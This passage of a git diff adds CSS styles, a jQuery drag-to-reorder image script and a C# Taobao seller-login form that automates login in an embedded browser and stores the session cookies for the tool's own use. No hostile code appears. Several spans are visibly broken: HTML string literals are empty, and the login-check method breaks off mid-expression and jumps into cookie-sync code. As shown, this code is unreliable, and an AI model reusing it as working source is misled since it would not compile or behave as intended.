absolute;left:50%;top:50%;margin:-60px 0 0 -50px;width: 100px;height: 100px;z-index: 999991;background: red;} +.loading {position: absolute;width: 100px;height: 100px;} + + +/**验证提示**/ +#loading{position:fixed;bottom:0;left:0;width:100%;height:100%;background:url(../images/loading.gif) no-repeat center;z-index:9999;text-align:center;display:none} +#loading img{position:absolute;top:50%} +.Validform_checktip{display:none;margin-left:8px;line-height:20px;height:20px;overflow:hidden;color:#999;font-size:12px} +.Validform_right{} +.Validform_error{background-color:#ffe7e7;} +.Validform_wrong{display:inline-block;color:red;padding-left:20px;white-space:nowrap;background:url(../images/error.png) no-repeat left center;} +.Validform_loading{padding-left:20px;background:url(../images/onLoad.gif) no-repeat left center} +#Validform_msg{color:#7d8289; font: 12px/1.5 tahoma, arial, \5b8b\4f53, sans-serif; width:280px; -webkit-box-shadow:2px 2px 3px #aaa; -moz-box-shadow:2px 2px 3px #aaa; background:#fff; position:absolute; top:0px; right:50px; z-index:99999; display:none;box-shadow: 2px 2px 0 rgba(0, 0, 0, 0.1);} +#Validform_msg .iframe{position:absolute; left:0px; top:-1px; z-index:-1;} +#Validform_msg .Validform_title{line-height:25px; height:25px; text-align:left; font-weight:bold; padding:0 8px; color:#fff; position:relative; background-color:#999; + background: -moz-linear-gradient(top, #999, #666 100%); background: -webkit-gradient(linear, 0 0, 0 100%, from(#999), to(#666)); } +#Validform_msg a.Validform_close:link, +#Validform_msg a.Validform_close:visited{line-height:22px; position:absolute; right:8px; top:0px; color:#fff; text-decoration:none;} +#Validform_msg a.Validform_close:hover{color:#ccc;} +#Validform_msg .Validform_info{padding:8px;border:1px solid #bbb; border-top:none; text-align:left;} + +.tables .open-info{ cursor: pointer; text-align: left;text-indent: 0; display: inline-block;width:20px;height:22px;margin-right: 0px; } +.tables .open-info i{ width:15px;height: 15px;background-position:-1px -365px; -webkit-transition: all 0s linear 0s; -o-transition: all 0s linear 0s; -moz-transition: all 0s linear 0s; transition: all 0s linear 0s; } +.tables .open-info i.icon-hide{ width: 15px;height: 15px;background-position:-1px -386px } +.tables .open-info i:hover{background-position:-24px -365px;} +.tables .open-info i.icon-hide:hover{background-position:-24px -386px } + + +.pai-row .form{ margin-right: 150px; margin-top: 10px;} +.pai-row .order-info {margin-top: 20px; line-height: 24px; font-size: 12px;color: #666;padding:20px;border:1px solid #ddd;background: #fbfaf8} + +.jump-body {background: #ebeff4;text-align:center;} +.jump {font-size: 14px;color: #555; text-align: left;position: relative; margin: 50px auto 0;width: 750px; padding:80px 100px;background: #fff url(../images/bg-jump.png) no-repeat right bottom;border-radius: 3px;box-shadow: 1px 3px 4px rgba(0,0,0,.05)} +.jump h2{font-size: 35px;color: #ff5f49;line-height: 40px;margin-bottom: 25px} +.jump p{margin-bottom: 15px;} +.jump p .color-blue{margin-left: 10px;cursor: pointer;} +.jump .id{line-height: 50px;} +.jump .name{color:#999;display: inline-block;width: 77px } +.jump .btn-box{margin-top: 50px} +.jump .btn-box .btn{margin-right: 5px;} +.jump .price {padding-top: 20px;} +.jump .price strong{font-family: arial;font-size: 25px;color:#ff5f49 } + + + .layer-popup {padding:0 20px 20px;overflow: hidden;} + +.layer-popup .hd{height: 70px;line-height: 70px;border-bottom: 1px solid #ebebeb} +.layer-popup .hd i{width:23px;height: 23px;margin-right: 5px; } +.layer-popup .hd strong{font-size:14px; font-weight:normal;color:#444;} +.layer-popup .hd .icon-counter{background-position:-167px -60px; } +.layer-popup .hd .icon-finance{background-position: -85px -186px;} +.layer-popup .hd .icon-flow{background-position: -110px -282px;} +.layer-popup .hd-no-border{border:none;} + +.layer-popup .order-counter { width: 460px; } +.layer-popup .order-counter ul{ padding-top: 20px; width: 500px;display: block;} +.layer-popup .order-counter li{border:1px solid #eee; margin:0 20px 20px 0; padding-left: 75px; position: relative; display: inline-block;width: 145px;height: 58px;} +.layer-popup .order-counter li i{width: 60px; position: absolute;left:0;top:-1px;margin:0;height: 60px; } +.layer-popup .order-counter li span{padding-right: 5px;} +.layer-popup .order-counter li.li-01 i{background:#00c1de url(../images/icon.png) no-repeat -198px -85px; } +.layer-popup .order-counter li.li-02 i{background:#46ccbe url(../images/icon.png) no-repeat -196px -137px; } +.layer-popup .order-counter li.li-03 i{background:#fd806f url(../images/icon.png) no-repeat -196px -245px; } +.layer-popup .order-counter li.li-04 i{background:#ffb21e url(../images/icon.png) no-repeat -196px -195px; } +.layer-popup .order-counter li.li-05 i{background:#57c86d url(../images/icon.png) no-repeat -196px -306px; } +.layer-popup .order-counter li.li-06 i{background:#727272 url(../images/icon.png) no-repeat -196px -364px; } + +.layer-popup .order-counter li.li-01 span{color:#00c1de } +.layer-popup .order-counter li.li-02 span{color:#46ccbe } +.layer-popup .order-counter li.li-03 span{color:#ffb21e } +.layer-popup .order-counter li.li-04 span{color:#fd806f } +.layer-popup .order-counter li.li-05 span{color:#57c86d } +.layer-popup .order-counter li.li-06 span{color:#727272 } +.layer-popup .order-counter li dl {padding-top: 7px;} +.layer-popup .order-counter li dl dt{ font-weight: bold; font-size: 14px; color: #444;line-height: 22px;} + +.layer-popup .account{ height: 80px;padding:28px 0;margin:0; border-top: 1px solid #eee; border-bottom: 1px solid #eee} +.layer-popup .account dl { margin-right: 20px; position: relative; float: left;width: 280px; height: 80px} +.layer-popup .account dl:before{ content: " ";position: absolute;width: 1px;height: auto; right:0; top:8px;bottom:13px;background: #eee;} +.layer-popup .account dl dt{ text-align: center; margin-right: 25px; float: left; display: inline-block;width: 80px;height: 80px;border-radius: 50%;background:#fd806f} +.layer-popup .account dl dt i{width: 33px;height: 36px;margin:20px auto 0;} +.layer-popup .account dl dd strong{display: block;font-size: 14px;color: #999;line-height: 30px;margin-top: 10px;} +.layer-popup .account dl dd span{color: #fd806f;font-size: 25px;font-family: arial} +.layer-popup .account ul li{color:#666;font-size: 13px; line-height: 24px;} +.layer-popup .account ul li i{width: 10px;height: 10px;margin-right: 10px;} +.layer-popup .account ul li span{margin-left: 15px;color:#333;font-family: Arial; font-size: 14px;} +.layer-popup .account .bg-yellow {background: #ff9625;} +.layer-popup .account .bg-green {background: #57c86d;} + +.layer-popup .date-btn {height:42px;margin-top: 20px } +.layer-popup .date-btn ul{float: left;} +.layer-popup .date-btn ul li{line-height: 20px;color: #999} + +.layer-popup .btn-gray-blue{ cursor: pointer; font-size: 14px; border-radius: 2px; border:1px solid #eee; float: right;color: #666; width: 120px;height: 40px;line-height: 40px;background: #f6f6f6} +.layer-popup .btn-gray-blue:hover{color: #fff;background: #0084cf;border-color:#0084cf;} + +.layer-popup .tables{margin-bottom: 0} + + + +/**标题优化**/ +.optimize-form .form-item { float: left;width: 550px; margin-right: 60px; } +.optimize-form .form-item .textarea{height: 217px;overflow-x: hidden;} +.optimize-form .editor { margin-top: 10px;} +.optimize-form .editor .editor-box{ float: left; width: 750px } + +.optimize-table tr td:last-child{padding-left: 10px} +.optimize-table .btn{border-radius: 2px;padding:0 20px;} +.optimize-table .btn-gary{background: #cdcdcd;} +.optimize-table .info{padding-top: 1px} +.optimize-table .info .title{ margin-top: 10px; background: none} +.optimize-table .info p{line-height: 22px;} +.optimize-table .info img,.optimize-table .info .pic{width: 64px;height: 64px;float: left;margin-right: 10px;} +.optimize-table .info a{margin-right: 15px; color: #0084cf} +.optimize-table .optimize-info{color: #777;display: none;} + +.form-item .i-text.text-small{width: 200px;float: left;} +.form-item .hint-text{ text-indent: 10px; display:inline-block;width: 198px;border:1px solid #ddd;border-top: 1px solid #c6c6c6;border-left:none;font-size: 12px;padding:9px 0;line-height: 14px;background: #FBFAF8} + + +/**发货弹窗*/ +.layer_sent_box{padding:20px 0 0 40px;} +.layer_sent_box .form.shop-form{padding:0;margin:0;} +.layer_sent_box .shop-form .form-item{ margin-right: 10px;} +.layer_sent_box .shop-form .form-item.form-one{width: 300px;min-width:300px;} +.layer_sent_box .form .item .i-text{width: 220px;} +.layer_sent_box .form .textarea {resize:none;height:90px;padding:5px;border:1px solid #e0e0e0;width:220px; } +.layer_sent_box .form-item .hint-text{text-indent: 10px;display:inline-block;width: 98px;border:1px solid #ddd;border-top: 1px solid #c6c6c6;border-left:none;font-size: 12px;padding:9px 0;line-height: 14px;background: #FBFAF8;} diff --git a/TEMUKJD/Static/js/jquery.dad.min.js b/TEMUKJD/Static/js/jquery.dad.min.js new file mode 100644 index 0000000..6490580 --- /dev/null +++ b/TEMUKJD/Static/js/jquery.dad.min.js @@ -0,0 +1,228 @@ +function initDragHtml() { + + var img_htmls='
      '; + $("#main_image .clear_both").remove(); + $("#main_image #over").remove(); + $("#main_image #imageChange").remove(); + var dic = new Array(); + $("#main_image").children().each(function () { + var inHtml = $(this).html(); + var index = $(this).attr("index"); + dic[index] = inHtml; + }); + dic = dic.filter(d=>d); + + if(dic.length === 0) { + $("#main_image").children().each(function () { + var inHtml = $(this).html(); + if ($(this).html().indexOf('
      • ') >= 0) { + var img_html = '
      • '; + img_html += inHtml; + img_html += '
      • '; + img_htmls += img_html; + } else { + var img_html = '
        • '; + img_html += inHtml; + img_html += '
      • '; + img_htmls += img_html; + } + }); + } + else + { + var sortRes = Object.keys(dic).sort(function(a,b){ return a - b; }); + for (var key in sortRes) { + if(dic[sortRes[key]].indexOf('
        • ') >= 0) { + var img_html = '
        • '; + img_html += dic[sortRes[key]]; + img_html += '
        • '; + img_htmls += img_html; + } + else { + var img_html = '
          • '; + img_html += dic[sortRes[key]]; + img_html += '
        • '; + img_htmls += img_html; + } + + } + } + + img_htmls +='
    '; + $("#main_image").html(img_htmls); + + initDragImg(); + + $("#main_image").children().each(function(){ + //debugger; + $(this).html; + }) + + img_htmls = ''; + $("#main_image").append(img_htmls); + img_htmls = '
    ' + + '
    '; + $("#main_image").append(img_htmls); +} + +function initDragImg(){ + + $("#main_image .item").each(function(i) { + this.init = function() { // 初始化 this为item + this.box = $(this).parent();//li + + for (var j = 0; j < 200; j++) { + var imgIdStr = 'id="img' + j + '"'; + + if($(this).html().indexOf(imgIdStr) >= 0) { + $(this).attr("id", 'image' + j); + if($(this).attr("index") === undefined) { + $(this).attr("index", j); + } + $(this).css({ + position : "absolute", + left : this.box.offset().left, + //top:80 + top : this.box.offset().top + }).appendTo("#main_image"); + } + } + + this.drag(); + }, + this.move = function(callback) { // 移动 + $(this).stop(true).animate({ + left : this.box.offset().left, + top : this.box.offset().top + }, 500, function() { + if(callback) { + callback.call(this); + } + }); + }, + this.collisionCheck = function() { + var currentItem = this; + var direction = null; + $(this).siblings(".item").each(function() { + if (currentItem.pointer.x > this.box.offset().left && + currentItem.pointer.y > this.box.offset().top - $(document).scrollTop() && + (currentItem.pointer.x < this.box.offset().left + this.box.width()) && + (currentItem.pointer.y < this.box.offset().top - $(document).scrollTop() + this.box.height())) { + // 返回对象和方向 + // if(currentItem.box.offset().top < this.box.offset().top) { + // direction = "down"; + // } else if(currentItem.box.offset().top > this.box.offset().top) { + // direction = "up"; + // } else { + direction = "normal"; + //} + this.swap(currentItem, direction); + } + }); + }, + this.swap = function(currentItem, direction) { // 交换位置 + if(this.moveing) return false; + var directions = { + normal : function() { + var saveBox = this.box; + this.box = currentItem.box; + currentItem.box = saveBox; + this.move(); + $(this).attr("index", this.box.index()); + $(currentItem).attr("index", currentItem.box.index()); + }, + down : function() { + // 移到上方 + var box = this.box; + var node = this; + var startIndex = currentItem.box.index(); + var endIndex = node.box.index(); + for(var i = endIndex; i > startIndex ; i--) { + var prevNode = $("#main_image .item[index="+ (i - 1) +"]")[0]; + node.box = prevNode.box; + $(node).attr("index", node.box.index()); + node.move(); + node = prevNode; + } + currentItem.box = box; + $(currentItem).attr("index", box.index()); + }, + up : function() { + // 移到上方 + var box = this.box; + var node = this; + var startIndex = node.box.index(); + var endIndex = currentItem.box.index(); + for(var i = startIndex; i < endIndex; i++) { + var nextNode = $("#main_image .item[index="+ (i + 1) +"]")[0]; + node.box = nextNode.box; + $(node).attr("index", node.box.index()); + node.move(); + node = nextNode; + } + currentItem.box = box; + $(currentItem).attr("index", box.index()); + } + } + directions[direction].call(this); + }, + this.drag = function() { // 拖拽 + var oldPosition = new Position(); + var oldPointer = new Pointer(); + var isDrag = false; + var currentItem = null; + $(this).mousedown(function(e) { + e.preventDefault(); + oldPosition.left = $(this).position().left; + oldPosition.top = $(this).position().top; + oldPointer.x = e.clientX; + oldPointer.y = e.clientY; + isDrag = true; + + currentItem = this; + }); + $(document).mousemove(function(e) { + var currentPointer = new Pointer(e.clientX, e.clientY); + if(!isDrag) return false; + $(currentItem).css({ + "opacity" : "0.8", + "z-index" : 999 + }) ; + var left = currentPointer.x - oldPointer.x + oldPosition.left; + var top = currentPointer.y - oldPointer.y + oldPosition.top; + $(currentItem).css({ + left : left, + top : top + }) ; + currentItem.pointer = currentPointer; + // 开始交换位置 + currentItem.collisionCheck(); + }) ; + $(document).mouseup(function() { + if(!isDrag) return false ; + isDrag = false ; + currentItem.move(function() { + $(this).css({ + "opacity" : "1", + "z-index" : 0 + }) ; + }) ; + }) ; + } + this.init() ; + }) ; +} +function Pointer(x, y) { + this.x = x ; + this.y = y ; +} +function Position(left, top) { + this.left = left ; + this.top = top ; +} \ No newline at end of file diff --git a/TEMUKJD/Static/nopic.jpg b/TEMUKJD/Static/nopic.jpg new file mode 100644 index 0000000..4496a44 Binary files /dev/null and b/TEMUKJD/Static/nopic.jpg differ diff --git a/TEMUKJD/TaobaoLoginForm.cs b/TEMUKJD/TaobaoLoginForm.cs new file mode 100644 index 0000000..c8a6ccc --- /dev/null +++ b/TEMUKJD/TaobaoLoginForm.cs @@ -0,0 +1,343 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using DevComponents.DotNetBar; +using Work.Api; +using Work.CollectClass; +using System.Runtime.InteropServices; +using System.Threading.Tasks; +using CefSharp; +using CefSharp.WinForms; +using Work; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; + +namespace LittleRabbit +{ + public partial class TaobaoLoginForm : LRBaseForm + { + string Cef1Html = ""; + + public static TaobaoLoginForm instance = null; + + public ChromiumWebBrowser cefWebBrowser1 { get; set; } = null; + public ChromiumWebBrowser cefWebBrowser2 { get; set; } = null; + public ChromiumWebBrowser cefWebBrowser3 { get; set; } = null; + + public List cookies = new List(); + + public MainForm mf { get; set; } + public DateTime LastGet = DateTime.Now.AddHours(-1); + private bool IsLoadUrl = false; + private string loginUrl = "https://sell.taobao.com/auction/merchandise/auction_list.htm"; + /// + /// 线程委托 + /// + private delegate void delegateViewCode(); + public delegate void delegateView(); + public delegate void delegateClick(object sender, EventArgs e); + public TaobaoLoginForm() + { + InitializeComponent(); + + instance = this; + } + + private void loginPanel_Click(object sender, EventArgs e) + { + if (cefWebBrowser1 == null) + return; + cefWebBrowser1.Load(loginUrl); + } + + private void TaobaoLoginForm_Load(object sender, EventArgs e) + { + + Text = "登录淘宝 " + BaseClass.ToolName; + TitleText = "登录淘宝 " + BaseClass.ToolName; + new Thread(CheckLogin).Start(); + new Thread(ReflashCookies).Start(); + if (BaseClass.Ico != null) + { + Iconx = BaseClass.Ico; + Icon = BaseClass.Ico; + } + cefWebBrowser1 = new ChromiumWebBrowser(loginUrl); + cefWebBrowser1.FrameLoadEnd += cefWebBrowser1_FrameLoadEnd; + cefWebBrowser1.Dock = DockStyle.Fill; + //cefWebBrowser1.RegisterJsObject("bound", new BoundObject(), BindingOptions.DefaultBinder); + // 注册C#类为JS对象 + CefSharpSettings.LegacyJavascriptBindingEnabled = true; + CefSharpSettings.WcfEnabled = true; + cefWebBrowser1.JavascriptObjectRepository.Register("bound", new BoundObject(), isAsync: false, options: BindingOptions.DefaultBinder); + + //解决cefsharp插件加载导致的偶发性闪屏问题 + cefWebBrowser1.BrowserSettings = new BrowserSettings { Plugins = CefState.Disabled }; + + splitContainer1.Panel1.Controls.Add(cefWebBrowser1); + } + + + /// + /// browser页面加载完成事件 + /// + /// + /// + private void cefWebBrowser1_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + //切换为账号密码登录方式 + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(" document.getElementById('J_Quick2Static').click();"); + GetCookies(); + Task.Run(() => + { + var t = cefWebBrowser1.GetBrowser().MainFrame.EvaluateScriptAsync("document.body.outerHTML"); + t.Wait(2500); + Cef1Html = t.Result?.Result?.ToString(); + }); + } + + private void GetCookies() + { + cookies.Clear(); + var cookieManager = Cef.GetGlobalCookieManager(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + cookieManager.VisitAllCookies(visitor); + } + + private void CheckLogin() + { + while (true) + { + if (string.IsNullOrEmpty(Cef1Html)) + { + continue; + } + if (Cef1Html.Contains("\"登录页面\"改进建议") && !IsLoadUrl) + { + IsLoadUrl = true; + cefWebBrowser1.Load("https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://sell.taobao.com/auction/merchandise/auction_list.htm"); + Thread.Sleep(2000); + + } + if (!Cef1Html.Contains(">出售中的宝贝<") && !Cef1Html.Contains(">我的宝贝<")) + { + continue; + } + + Thread.Sleep(1000); + string htmlStr = Cef1Html.Replace(" ", ""); + if (Cef1Html.Contains(">出售中宝贝管理验证<") && htmlStr.Contains("()); + BaseClass.CookiesAll[mainDomain].Add(c.Name, c.Value); + } + } + foreach (KeyValuePair> co in BaseClass.CookiesAll)//同步到系统 + { + string cook = ""; + foreach (KeyValuePair c in co.Value) + { + cook += c.Key + "=" + c.Value + "; "; + } + if (BaseClass.CookiesAllString.ContainsKey(co.Key)) + BaseClass.CookiesAllString[co.Key] = cook; + else + BaseClass.CookiesAllString.Add(co.Key, cook); + } + } + catch (Exception ex) + { + + } + } + } + + /// + /// 加载完成时,重设cookies + /// + /// + private void visitor_SendCookie(CefSharp.Cookie obj) + { + // 这里可以根据domaiin存储cookie + //cookies += obj.Domain.TrimStart('.') + "^" + obj.Name + "^" + obj.Value + "$"; + cookies.Add(obj); + } + + private void closePanel_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("是否关闭软件?\r\n必须登录淘宝账户才能使用,关闭窗口自动退出软件", "请先登录淘宝网").DialogResult == DialogResult.OK) + Process.GetCurrentProcess().Kill(); + } + + public void SetWindow() + { + SetUrl(cefWebBrowser2, "https://smf.taobao.com/index.htm?menu=activity&module=umptool"); + SetUrl(cefWebBrowser3, "https://subway.simba.taobao.com/#!/campaigns/standards/add"); + MethodInvoker mi = HideLoading; + BeginInvoke(mi); + Hide(); + } + + private void HideLoading() + { + pictureBox1.Visible = false; + } + + private void ShowLoading() + { + pictureBox1.Visible = true; + } + + private void SetUrl(ChromiumWebBrowser web, string url) + { + web.Load(url); + } + + private void minPanel_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + } + + private void label4_Click(object sender, EventArgs e) + { + SetUrl(cefWebBrowser1, "https://sell.taobao.com/auction/merchandise/auction_list.htm"); + + } + + private void TaobaoLoginForm_FormClosing(object sender, FormClosingEventArgs e) + { + Hide(); + + e.Cancel = true; + return; + } + + #region 内存回收 + [DllImport("kernel32.dll", EntryPoint = "SetProcessWorkingSetSize")] + public static extern int SetProcessWorkingSetSize(IntPtr process, int minSize, int maxSize); + /// + /// 释放内存 + /// + public static void ClearMemory() + { + GC.Collect(); + GC.WaitForPendingFinalizers(); + if (Environment.OSVersion.Platform == PlatformID.Win32NT) + { + SetProcessWorkingSetSize(System.Diagnostics.Process.GetCurrentProcess().Handle, -1, -1); + } + } + + private void pnlAutoLogin_Click(object sender, EventArgs e) + { + } + + private void cbxLoginShops_TextUpdate(object sender, EventArgs e) + { + } + + private void cbxLoginShops_SelectedIndexChanged(object sender, EventArgs e) + { + pnlAutoLogin_Click(sender, e); + } + #endregion + } +} diff --git a/TEMUKJD/TaobaoLoginForm.designer.cs b/TEMUKJD/TaobaoLoginForm.designer.cs new file mode 100644 index 0000000..070c99f --- /dev/null +++ b/TEMUKJD/TaobaoLoginForm.designer.cs @@ -0,0 +1,330 @@ +namespace LittleRabbit +{ + partial class TaobaoLoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(TaobaoLoginForm)); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.pnlAutoLogin = new DevComponents.DotNetBar.PanelEx(); + this.cbxLoginShops = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.label4 = new System.Windows.Forms.Label(); + this.minPanel = new DevComponents.DotNetBar.PanelEx(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.closePanel = new DevComponents.DotNetBar.PanelEx(); + this.loginPanel = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(9)))), ((int)(((byte)(131)))), ((int)(((byte)(247))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.AutoScroll = true; + this.splitContainer1.Panel1.BackColor = System.Drawing.Color.White; + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(472, 375); + this.splitContainer1.SplitterDistance = 369; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 0; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.pnlAutoLogin); + this.splitContainer2.Panel1.Controls.Add(this.cbxLoginShops); + this.splitContainer2.Panel1.Controls.Add(this.label4); + this.splitContainer2.Panel1.Controls.Add(this.minPanel); + this.splitContainer2.Panel1.Controls.Add(this.label3); + this.splitContainer2.Panel1.Controls.Add(this.label2); + this.splitContainer2.Panel1.Controls.Add(this.label1); + this.splitContainer2.Panel1.Controls.Add(this.closePanel); + this.splitContainer2.Panel1.Controls.Add(this.loginPanel); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer2.Size = new System.Drawing.Size(102, 375); + this.splitContainer2.SplitterDistance = 136; + this.splitContainer2.TabIndex = 0; + // + // pnlAutoLogin + // + this.pnlAutoLogin.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlAutoLogin.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlAutoLogin.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlAutoLogin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlAutoLogin.Location = new System.Drawing.Point(14, 92); + this.pnlAutoLogin.Name = "pnlAutoLogin"; + this.pnlAutoLogin.Size = new System.Drawing.Size(74, 30); + this.pnlAutoLogin.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlAutoLogin.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.pnlAutoLogin.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.pnlAutoLogin.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlAutoLogin.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.pnlAutoLogin.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlAutoLogin.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlAutoLogin.Style.GradientAngle = 90; + this.pnlAutoLogin.TabIndex = 21; + this.pnlAutoLogin.Text = "自动登录"; + this.pnlAutoLogin.Visible = false; + this.pnlAutoLogin.Click += new System.EventHandler(this.pnlAutoLogin_Click); + // + // cbxLoginShops + // + this.cbxLoginShops.DisplayMember = "Text"; + this.cbxLoginShops.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cbxLoginShops.Font = new System.Drawing.Font("宋体", 7.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cbxLoginShops.FormattingEnabled = true; + this.cbxLoginShops.IntegralHeight = false; + this.cbxLoginShops.ItemHeight = 14; + this.cbxLoginShops.Location = new System.Drawing.Point(14, 58); + this.cbxLoginShops.Name = "cbxLoginShops"; + this.cbxLoginShops.Size = new System.Drawing.Size(74, 20); + this.cbxLoginShops.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cbxLoginShops.TabIndex = 17; + this.cbxLoginShops.Visible = false; + this.cbxLoginShops.WatermarkText = "登录店铺"; + this.cbxLoginShops.SelectedIndexChanged += new System.EventHandler(this.cbxLoginShops_SelectedIndexChanged); + this.cbxLoginShops.TextUpdate += new System.EventHandler(this.cbxLoginShops_TextUpdate); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Cursor = System.Windows.Forms.Cursors.Hand; + this.label4.ForeColor = System.Drawing.Color.Gray; + this.label4.Location = new System.Drawing.Point(16, 139); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(197, 12); + this.label4.TabIndex = 7; + this.label4.Text = "登录成功后可点击这里,打开主页面"; + this.label4.Visible = false; + this.label4.Click += new System.EventHandler(this.label4_Click); + // + // minPanel + // + this.minPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.minPanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.minPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.minPanel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.minPanel.Location = new System.Drawing.Point(107, 12); + this.minPanel.Name = "minPanel"; + this.minPanel.Size = new System.Drawing.Size(74, 30); + this.minPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.minPanel.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.minPanel.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.minPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.minPanel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.minPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.minPanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.minPanel.Style.GradientAngle = 90; + this.minPanel.TabIndex = 6; + this.minPanel.Text = "最小化"; + this.minPanel.Visible = false; + this.minPanel.Click += new System.EventHandler(this.minPanel_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Cursor = System.Windows.Forms.Cursors.Hand; + this.label3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(37)))), ((int)(((byte)(201)))), ((int)(((byte)(101))))); + this.label3.Location = new System.Drawing.Point(150, 63); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(53, 12); + this.label3.TabIndex = 5; + this.label3.Text = "重新登录"; + this.label3.Visible = false; + this.label3.Click += new System.EventHandler(this.loginPanel_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(10, 105); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(197, 12); + this.label2.TabIndex = 4; + this.label2.Text = "登录淘宝账户后自动进入软件主界面"; + this.label2.Visible = false; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(10, 63); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(137, 12); + this.label1.TabIndex = 3; + this.label1.Text = "如果不能自动跳转,请点"; + this.label1.Visible = false; + // + // closePanel + // + this.closePanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + 